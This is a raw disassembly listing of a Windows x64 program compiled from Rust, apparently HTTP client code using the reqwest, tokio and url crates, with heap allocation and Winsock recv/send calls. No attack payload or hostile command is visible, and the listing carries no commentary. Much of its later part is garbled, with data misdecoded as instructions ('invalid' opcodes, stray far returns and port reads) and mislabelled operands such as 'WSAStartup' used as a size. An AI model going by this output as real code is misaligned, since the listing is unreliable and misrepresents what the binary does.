mov byte [rbp + 0x820], 1
lea rcx, [rbp + 0x330]
lea rdx, [rbp + 0x470]
call fcn.14007b5c0
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0xa0], rax
movups xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x90], xmm0
movups xmm0, xmmword [rbp + 0x330]
movdqu xmm1, xmmword [rbp + 0x340]
movups xmm2, xmmword [rbp + 0x350]
movups xmm3, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x80], xmm3
movaps xmmword [rbp + 0x70], xmm2
movdqa xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
cmp byte [rbp + 0x7e8], 0
jne 0x140127a8d
mov eax, 1
mov qword [rbp + 0x500], rax
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
mov rdi, qword [rbp + 0x6d0]
movzx eax, byte [rbp + 0x104]
mov byte [rbp + 0x6cc], al
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x6c8], eax
movzx eax, byte [rbp + 0x6d8]
movzx edx, byte [rbp + 0x6d9]
cmp rdi, 3
sete r8b
mov qword [rbp + 0x4f8], rcx
mov byte [rbp + 0x7e8], r8b
jne 0x140126dda
mov byte [rbp + 0x800], dl
test rcx, rcx
lea rsi, [rbp + 0x39a]
lea r15, [rbp + 0x6da]
lea r14, [rbp + 0x50]
je 0x140126dc7
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0x500]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
mov r12, qword [rbp + 0x4d8]
mov rbx, qword [rbp + 0x4d0]
jmp 0x140126835
mov byte [rbp + 0x810], al
mov rsi, qword [rbp + 0x790]
mov al, 0xa
mov dword [rbp + 0x7fc], eax
jmp 0x140126776
mov rax, qword [rbp + 0x390]
mov rdx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x3a8]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbp + 0x508], r12
jmp 0x1401262e1
cmp qword [rbp + 0x3a8], 0
je 0x140126fa0
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rbp + 0x338]
mov dword [rbp + 0x6a8], eax
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x6a0], rax
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmm1, xmmword [rbp + 0x110]
movaps xmm2, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x2f0], xmm0
movdqa xmmword [rbp + 0x300], xmm1
movaps xmmword [rbp + 0x310], xmm2
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x320], rax
mov r15, qword [rbp + 0x7f0]
lea rcx, [rbp + 0x6d0]
lea rdx, [rbp - 0x50]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [r15 + 0x98]
mov rsi, qword [r15 + 0xa8]
test rsi, rsi
je 0x14012707e
js 0x140127d25
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140127052
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127065
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140127083
mov byte [rbp + 0x81f], 1
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x6b8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3d0], xmm0
movzx eax, byte [rax + 0x10]
mov byte [rbp + 0x3e0], al
mov eax, dword [r15 + 0xb0]
mov ecx, dword [r15 + 0xc4]
movups xmm0, xmmword [r15 + 0x88]
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], rsi
mov qword [rbp + 0x3b0], rsi
movups xmm1, xmmword [r15 + 0xb4]
movups xmmword [rbp + 0x3bc], xmm1
mov dword [rbp + 0x3b8], eax
mov dword [rbp + 0x3cc], ecx
movups xmmword [rbp + 0x390], xmm0
mov rsi, qword [r15 + 0x130]
mov qword [r15 + 0x130], 0
movups xmm0, xmmword [rbp + 0x740]
movdqu xmm1, xmmword [rbp + 0x750]
movups xmm2, xmmword [rbp + 0x760]
movaps xmmword [rbp + 0x5b0], xmm2
movdqa xmmword [rbp + 0x5a0], xmm1
movaps xmmword [rbp + 0x590], xmm0
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140127163
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127ca7
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140127ca7
lea rcx, [rbp + 0x740]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp + 0x730]
movaps xmmword [rbp + 0x5f0], xmm0
movups xmm0, xmmword [rbp + 0x720]
movaps xmmword [rbp + 0x5e0], xmm0
movups xmm0, xmmword [rbp + 0x710]
movaps xmmword [rbp + 0x5d0], xmm0
movups xmm0, xmmword [rbp + 0x6d0]
movdqu xmm1, xmmword [rbp + 0x6e0]
movups xmm2, xmmword [rbp + 0x6f0]
movups xmm3, xmmword [rbp + 0x700]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmmword [rbp + 0x5b0], xmm2
movdqa xmmword [rbp + 0x5a0], xmm1
movaps xmmword [rbp + 0x590], xmm0
mov qword [rbp + 0x600], 0
mov qword [rbp + 0x608], rax
lea rax, fcn.140129380
mov qword [rbp + 0x610], rax
mov qword [rbp + 0x618], rsi
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14012724e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127cc2
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x58
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140127cc2
mov rsi, rax
mov rax, qword [rbp + 0x3e0]
mov qword [rsi + 0x50], rax
movups xmm0, xmmword [rbp + 0x3d0]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x390]
movups xmm1, xmmword [rbp + 0x3a0]
movups xmm2, xmmword [rbp + 0x3b0]
movups xmm3, xmmword [rbp + 0x3c0]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
lea rdx, [rbp + 0x590]
mov r8d, 0x90
mov rdi, qword [rbp + 0x6c0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi + 0x90], rsi
jmp 0x140127508
test rsi, rsi
je 0x14012756d
js 0x140127dd6
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140127308
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14012731f
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140127572
mov byte [rbp + 0x827], 0
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
mov byte [rbp + 0x826], 1
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rcx, rbx
mov rdx, r9
call fcn.140186a70
jmp 0x140127e1c
mov rax, qword [rbp + 0x6c0]
mov qword [rax], 4
jmp 0x140127508
mov byte [rbp + 0x821], 1
lea rcx, [rbp + 0x538]
call fcn.14006b820
mov byte [rbp + 0x821], 0
mov cx, 1
mov rdx, rsi
call fcn.140129470
mov rsi, rax
mov qword [rbp + 0x590], rax
mov rbx, qword [r15 + 0x98]
mov rdi, qword [r15 + 0xa8]
test rdi, rdi
je 0x1401273ff
js 0x140127d1b
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x1401273da
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401273ed
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140127405
mov ecx, 1
mov rdx, rdi
call fcn.140186620
jmp 0x140127e1c
mov r14d, 1
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm6, xmmword [r15 + 0xb4]
mov rcx, qword [rbp + 0x6b8]
movzx eax, byte [rcx + 0x10]
mov byte [rbp + 0x6e0], al
movups xmm0, xmmword [rcx]
movaps xmmword [rbp + 0x6d0], xmm0
movzx edx, word [r15 + 0xb0]
movzx r8d, word [r15 + 0xb2]
mov ecx, dword [r15 + 0xc4]
mov rax, r15
mov r13d, dword [r15 + 0x88]
mov ebx, dword [r15 + 0x8c]
mov r15d, dword [r15 + 0x90]
mov r12d, dword [rax + 0x94]
cmp dword [rsi], 2
je 0x1401274b6
cmp qword [rsi + 0x18], 0
je 0x1401274b6
mov word [rbp + 0x800], r8w
mov r8, qword [rsi + 0x10]
mov dword [rbp + 0x810], ecx
mov rcx, qword [0x14023c258]
mov word [rbp + 0x7f0], dx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx r8d, word [rbp + 0x800]
movzx edx, word [rbp + 0x7f0]
mov ecx, dword [rbp + 0x810]
mov dword [rsi], r13d
mov dword [rsi + 4], ebx
mov dword [rsi + 8], r15d
mov dword [rsi + 0xc], r12d
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rdi
mov word [rsi + 0x28], dx
mov word [rsi + 0x2a], r8w
movdqu xmmword [rsi + 0x2c], xmm6
mov dword [rsi + 0x3c], ecx
movaps xmm0, xmmword [rbp + 0x6d0]
movups xmmword [rsi + 0x40], xmm0
movzx eax, byte [rbp + 0x6e0]
mov byte [rsi + 0x50], al
mov rax, qword [rbp + 0x6c0]
mov qword [rax], 3
mov qword [rax + 8], rsi
movaps xmm6, xmmword [rbp + 0x830]
movaps xmm7, xmmword [rbp + 0x840]
movaps xmm8, xmmword [rbp + 0x850]
movaps xmm9, xmmword [rbp + 0x860]
add rsp, 0x8f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp rax, 1
jne 0x1401276e4
cmp qword [rbp + 0x550], 0
je 0x140126ff4
mov r8, qword [rbp + 0x548]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140126ff4
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0x578]
movups xmmword [rbp + 0x710], xmm0
movzx eax, byte [rbp + 0x588]
mov byte [rbp + 0x720], al
mov eax, dword [rbp + 0x560]
mov ecx, dword [rbp + 0x574]
movups xmm0, xmmword [rbp + 0x538]
mov qword [rbp + 0x6e0], rbx
mov qword [rbp + 0x6e8], rsi
mov qword [rbp + 0x6f0], rsi
movdqu xmm1, xmmword [rbp + 0x564]
movdqu xmmword [rbp + 0x6fc], xmm1
mov dword [rbp + 0x6f8], eax
mov dword [rbp + 0x70c], ecx
movups xmmword [rbp + 0x6d0], xmm0
mov byte [rbp + 0x827], 0
lea rcx, [rbp + 0x6d0]
call fcn.140064880
mov rcx, qword [rbp + 0x588]
mov qword [rbp + 0x720], rcx
movups xmm0, xmmword [rbp + 0x578]
movaps xmmword [rbp + 0x710], xmm0
movups xmm0, xmmword [rbp + 0x538]
movdqu xmm1, xmmword [rbp + 0x548]
movups xmm2, xmmword [rbp + 0x558]
movups xmm3, xmmword [rbp + 0x568]
movaps xmmword [rbp + 0x700], xmm3
movaps xmmword [rbp + 0x6f0], xmm2
movdqa xmmword [rbp + 0x6e0], xmm1
movaps xmmword [rbp + 0x6d0], xmm0
mov cx, 2
mov rdx, rax
call fcn.140077080
mov rsi, rax
cmp dword [rax], 2
je 0x14012767d
cmp qword [rsi + 0x18], 0
je 0x14012767d
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x720]
mov qword [rsi + 0x50], rax
movaps xmm0, xmmword [rbp + 0x710]
movups xmmword [rsi + 0x40], xmm0
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmm1, xmmword [rbp + 0x6e0]
movaps xmm2, xmmword [rbp + 0x6f0]
movaps xmm3, xmmword [rbp + 0x700]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, qword [rbp + 0x6c0]
mov qword [rax], 3
mov qword [rax + 8], rsi
jmp 0x14012792f
mov r14d, 1
lea r15, [0x1401bf598]
jmp 0x1401276f2
mov r14, qword [rbp + 0x598]
mov r15, qword [rbp + 0x5a0]
mov qword [rbp + 0x390], r14
mov qword [rbp + 0x398], r15
mov rdi, qword [r13 + 0x98]
mov rsi, qword [r13 + 0xa8]
test rsi, rsi
je 0x14012776d
js 0x140127e10
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140127741
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127754
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140127772
mov byte [rbp + 0x80d], 1
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x6b8]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x5d0], xmm0
movzx eax, byte [rax + 0x10]
mov byte [rbp + 0x5e0], al
mov eax, dword [r13 + 0xb0]
mov ecx, dword [r13 + 0xc4]
movups xmm0, xmmword [r13 + 0x88]
mov qword [rbp + 0x5a0], rbx
mov qword [rbp + 0x5a8], rsi
mov qword [rbp + 0x5b0], rsi
movdqu xmm1, xmmword [r13 + 0xb4]
movdqu xmmword [rbp + 0x5bc], xmm1
mov dword [rbp + 0x5b8], eax
mov dword [rbp + 0x5cc], ecx
movups xmmword [rbp + 0x590], xmm0
mov word [rbp + 0x738], 2
mov qword [rbp + 0x728], r14
mov qword [rbp + 0x730], r15
mov dword [rbp + 0x6d0], 2
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140127837
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127dc5
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140127dc5
mov rsi, rax
movups xmm0, xmmword [rbp + 0x730]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x720]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rbp + 0x710]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x6d0]
movups xmm1, xmmword [rbp + 0x6e0]
movups xmm2, xmmword [rbp + 0x6f0]
movups xmm3, xmmword [rbp + 0x700]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
cmp dword [rax], 2
je 0x1401278bc
cmp qword [rsi + 0x18], 0
je 0x1401278bc
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x5e0]
mov qword [rsi + 0x50], rax
movups xmm0, xmmword [rbp + 0x5d0]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x590]
movups xmm1, xmmword [rbp + 0x5a0]
movups xmm2, xmmword [rbp + 0x5b0]
movups xmm3, xmmword [rbp + 0x5c0]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, qword [rbp + 0x6c0]
mov qword [rax], 3
mov qword [rax + 8], rsi
cmp qword [rbp + 0x550], 0
je 0x14012792f
mov r8, qword [rbp + 0x548]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp - 0x50]
call fcn.14006dd10
jmp 0x140127508
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcheadermap.rs
mov rcx, rbx
mov rdx, rsi
call fcn.140186a70
jmp 0x140127e1c
mov byte [rbp + 0x825], 0
mov byte [rbp + 0x824], 1
lea rcx, [rbp + 0x50]
call fcn.14006d7b0
movups xmm0, xmmword [rbp + 0x538]
movdqu xmm1, xmmword [rbp + 0x548]
movdqa xmmword [rbp + 0x110], xmm1
movaps xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x825], 0
mov byte [rbp + 0x824], 0
lea rcx, [rbp + 0x100]
call fcn.14006b820
movzx eax, byte [rbp + 0x800]
mov byte [rbp + 0x6d0], al
movzx eax, byte [rbp + 0x810]
mov byte [rbp + 0x6d1], al
mov byte [rbp + 0x825], 0
mov byte [rbp + 0x824], 0
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401be53d]
lea r9, case.0x140119330.357
lea r8, [rbp + 0x6d0]
mov edx, reloc.WS2_32.dll_send
call fcn.140186ec0
jmp 0x140127e1c
movzx eax, byte [rbp + 0x6d1]
mov byte [rbp + 0x590], al
mov byte [rbp + 0x822], 1
lea rax, [0x1401be358]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401be2ca]
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, 0x29
call fcn.140186ec0
jmp 0x140127e1c
mov ecx, 1
mov rdx, rdi
call fcn.140186620
jmp 0x140127e1c
movzx eax, byte [rbp + 0x6d1]
mov byte [rbp + 0x590], al
lea rax, [0x1401be358]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401be2ca]
lea r9, case.0x140119330.357
lea r8, [rbp + 0x590]
mov edx, 0x29
call fcn.140186ec0
jmp 0x140127e1c
mov byte [rbp + 0x822], 1
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
call fcn.1400106d0
jmp 0x140127e1c
mov byte [rbp + 0x822], 1
call fcn.1400106d0
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
call fcn.1400106d0
jmp 0x140127e1c
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], r9
mov r9, rax
call fcn.1401870e0
jmp 0x140127e1c
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r10
call fcn.1401870e0
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
call fcn.1401870e0
jmp 0x140127e1c
call fcn.1400106d0
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
xor r8d, r8d
call fcn.1401870e0
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
call fcn.1400106d0
jmp 0x140127e1c
mov qword [rbp + 0x810], rsi
mov ecx, 8
mov edx, 0x30
call fcn.140186620
jmp 0x140127e1c
mov ecx, 8
mov edx, 0x58
call fcn.140186620
jmp 0x140127e1c
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rsi
mov r9, rsi
call fcn.1401870e0
jmp 0x140127e1c
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
call fcn.1400106d0
jmp 0x140127e1c
call fcn.1400106d0
jmp 0x140127e1c
mov byte [rbp + 0x81f], 1
call fcn.1400106d0
jmp 0x140127e1c
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x1401ea508]
mov edx, 0x30
call fcn.140186b70
jmp 0x140127e1c
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x140127e1c
call fcn.1400106d0
jmp 0x140127e1c
call fcn.1400106d0
jmp 0x140127e1c
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x1401ea508]
mov edx, 0x30
call fcn.140186b70
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rdx, rsi
xor r8d, r8d
call fcn.1401870e0
jmp 0x140127e1c
mov ecx, 8
mov edx, WSAStartup
call fcn.140186620
jmp 0x140127e1c
mov byte [rbp + 0x827], 0
call fcn.1400106d0
jmp 0x140127e1c
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.1401870e0
jmp 0x140127e1c
mov byte [rbp + 0x80d], 1
call fcn.1400106d0
ud2
sub rsp, 0x38
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x20], xmm6
lea rcx, [rbp + 0x360]
call fcn.14013ab50
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmmword [rsp + 0x20], xmm6
cmp byte [rbp + 0x992], 0
je 0x140130a21
mov byte [rbp + 0x96c], 0
mov byte [rbp + 0x96b], 0
lea rcx, [rbp - 0x50]
call fcn.14013ab50
invalid
add byte [rax], al
add dh, al
test dword [rbx + 9], ebp
add byte [rax], al
add byte [rax - 0x73], cl
mov r8b, 0xe8
invalid
add dh, al
test dword [rcx + rcx], ebp
add byte [rax], al
mov byte [rbp + 0x96c], 0
mov byte [rbp + 0x96b], 0
movaps xmm6, xmmword [rsp + 0x20]
and al, 0x20
and al, 0x20
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x20], dh
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax + 0x9949d], cl
add byte [rax + 0x9939d], cl
add byte [rdi], cl
sub byte [rsp + 0x20], dh
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
dec qword [rax]
jne 0x140130c3e
mov rcx, qword [rdx + 0x88]
mov rdx, qword [rdx + 0x90]
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
xor byte [rbp - 0x17], bl
invalid
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
nop
add rsp, 0x30
pop rbp
ret
add rsp, 0x20
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
add rcx, 0x88
call fcn.140078730
nop
add rsp, 0x20
pop rbp
ret
invalid
adc byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
fmul dword [r9 - 0x77]
sbb byte [rcx - 0x75], cl
nop dword [rax]
mov rcx, rax
test cl, 4
jne 0x140130e1a
add byte [rax], al
invalid
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [r8 + 0x40], rdx
mov cl, 0x50
jne 0x140130d80
mov cl, 0x50
jne 0x140130d80
test cl, 1
je 0x140130db2
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x38]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp - 0x10]
lock dec qword [rax]
jne 0x140130dc5
mov rcx, qword [rbp - 0x20]
call fcn.140129b90
mov rsi, qword [rbp - 0x18]
test rsi, rsi
je 0x140130e9a
mov rax, qword [rsi + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x140130e0d
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rsi + 0x40], rdx
jne 0x140130de0
and ecx, 5
cmp ecx, 1
jne 0x140130e0d
mov rax, qword [rsi + 0x30]
mov rcx, qword [rsi + 0x38]
call qword [rax + reloc.WS2_32.dll_recv]
xor edi, edi
lock dec qword [rsi]
je 0x140130e88
jmp 0x140130e9c
mov rsi, qword [r8 + 0x18]
cmp qword [r8 + 0x10], 0
mov qword [r8 + 0x10], 0
je 0x140130ec4
lock dec qword [r8]
jne 0x140130e40
mov rcx, qword [rbp - 0x20]
call fcn.140129b90
mov rdi, qword [rbp - 0x18]
test rdi, rdi
je 0x140130e93
mov rax, qword [rdi + 0x40]
nop dword [rax]
mov rcx, rax
test cl, 4
jne 0x140130e7d
mov rdx, rcx
or rdx, 2
retf 0x4802
mov eax, ecx
lock cmpxchg qword [rdi + 0x40], rdx
jne 0x140130e50
retf 0x4802
and ecx, 5
cmp ecx, 1
jne 0x140130e7d
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x38]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rdi]
mov edi, 1
jne 0x140130e9c
mov rcx, qword [rbp - 0x18]
call fcn.140129b90
jmp 0x140130e9c
mov edi, 1
jmp 0x140130e9c
xor edi, edi
mov rax, rdi
mov rdx, rsi
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_synconeshot.rscalled_after_complete
mov edx, 0x2b
call fcn.140186b70
ud2
add dword [rax], eax
add byte [rax], al
mov rax, qword [rbp - 0x28]
mov qword [rcx + 0x18], rax
mov dword [rcx + 0x18], eax
mov dword [rcx + 0x18], eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x50
in al, dx
and byte [rax - 0x73], cl
push 0x50
lea rcx, [rbp - 0x20]
call fcn.14013fb80
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x50]
lea rcx, [rbp - 0x18]
call fcn.140129cf0
invalid
invalid
call qword [rax + 0x20c48348]
pop rdi
pop rsi
pop rbp
ret
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x50]
push 0x50
lea rcx, [rbp - 0x18]
call fcn.140129cf0
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
int3
insb byte [rdi], dx
and al, 0x60
mov qword [rbp], 0xfffffffffffffffe
mov rax, qword [rcx + 0x48]
mov qword [rbp - 0x20], rax
mov qword [rbp - 8], rcx
clc
clc
mov rsi, qword [rcx + 0x58]
test rsi, rsi
je 0x14013111e
invalid
mov al, 0
add byte [rax], al
test byte [rax + 0x48000000], dh
mov eax, dword [rbp - 8]
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x40]
mov qword [rbp - 0x10], rcx
mov rax, qword [rax + 0x50]
xor ecx, ecx
mov r8, qword [rbp - 0x20]
cmp rax, r8
mov rdx, r8
cmovb rdx, rcx
sub rax, rdx
mov rdi, r8
sub rdi, rax
lea r9, [rax + rsi]
cmp rdi, rsi
cmovb r9, r8
mov rdx, rsi
sub rdx, rdi
cmovb rdx, rcx
mov qword [rbp - 0x28], rdx
sub r9, rax
jne 0x140131166
cmp rdi, rsi
jae 0x14013111e
xor eax, eax
jmp 0x1401310dd
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rcx, qword [rbp - 0x28]
